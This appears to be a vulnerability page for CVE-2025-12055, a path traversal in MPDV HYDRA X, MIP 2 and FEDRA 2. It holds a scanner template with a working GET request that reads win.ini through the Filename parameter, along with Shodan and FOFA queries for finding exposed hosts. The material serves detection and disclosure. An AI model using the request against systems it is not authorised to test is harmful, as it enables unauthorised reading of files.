CVE-2025-12055: MPDV Mikrolab GmbH HYDRA X, MIP 2 & FEDRA 2 - Path Traversal

Description

MPDV Mikrolab GmbH HYDRA X, MIP 2, and FEDRA 2 <= Maintenance Pack 36 with Servicepack 8 (week 36/2025) contain an unauthenticated local file disclosure vulnerability caused by improper validation of the "Filename" parameter in the public $SCHEMAS$ resource, letting attackers read arbitrary Windows OS files, exploit requires local access.

PoC

id: CVE-2025-12055

info:
  name: MPDV Mikrolab GmbH HYDRA X, MIP 2 & FEDRA 2 - Path Traversal
  author: theamanrawat
  severity: high
  description: |
    MPDV Mikrolab GmbH HYDRA X, MIP 2, and FEDRA 2 <= Maintenance Pack 36 with Servicepack 8 (week 36/2025) contain an unauthenticated local file disclosure vulnerability caused by improper validation of the "Filename" parameter in the public $SCHEMAS$ resource, letting attackers read arbitrary Windows OS files, exploit requires local access.
  impact: |
    Attackers can read arbitrary files on the Windows operating system, potentially exposing sensitive information.
  remediation: |
    Update to Maintenance Pack 36 with Servicepack 8 (week 36/2025) or later.
  reference:
    - https://seclists.org/fulldisclosure/2025/Oct/28
    - https://nvd.nist.gov/vuln/detail/CVE-2025-12055
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-12055
    epss-score: 0.03572
    epss-percentile: 0.88776
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"MPDV"
    fofa-query: body="MPDV"
  tags: cve,cve2025,lfi,mpdv,mikrolab,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/hx/resources/public/$SCHEMAS$?Filename=c%3a%5cwindows%5cwin.ini"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "bit app support", "fonts", "extensions")'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450221008bfaa040d8395428c26e84026ff14128376d276126ef1fc7d214c2109d77ed1a02204c55e847a7018250e3865e8bea874fcfc41c5a92d542b6345d4b27764930c87f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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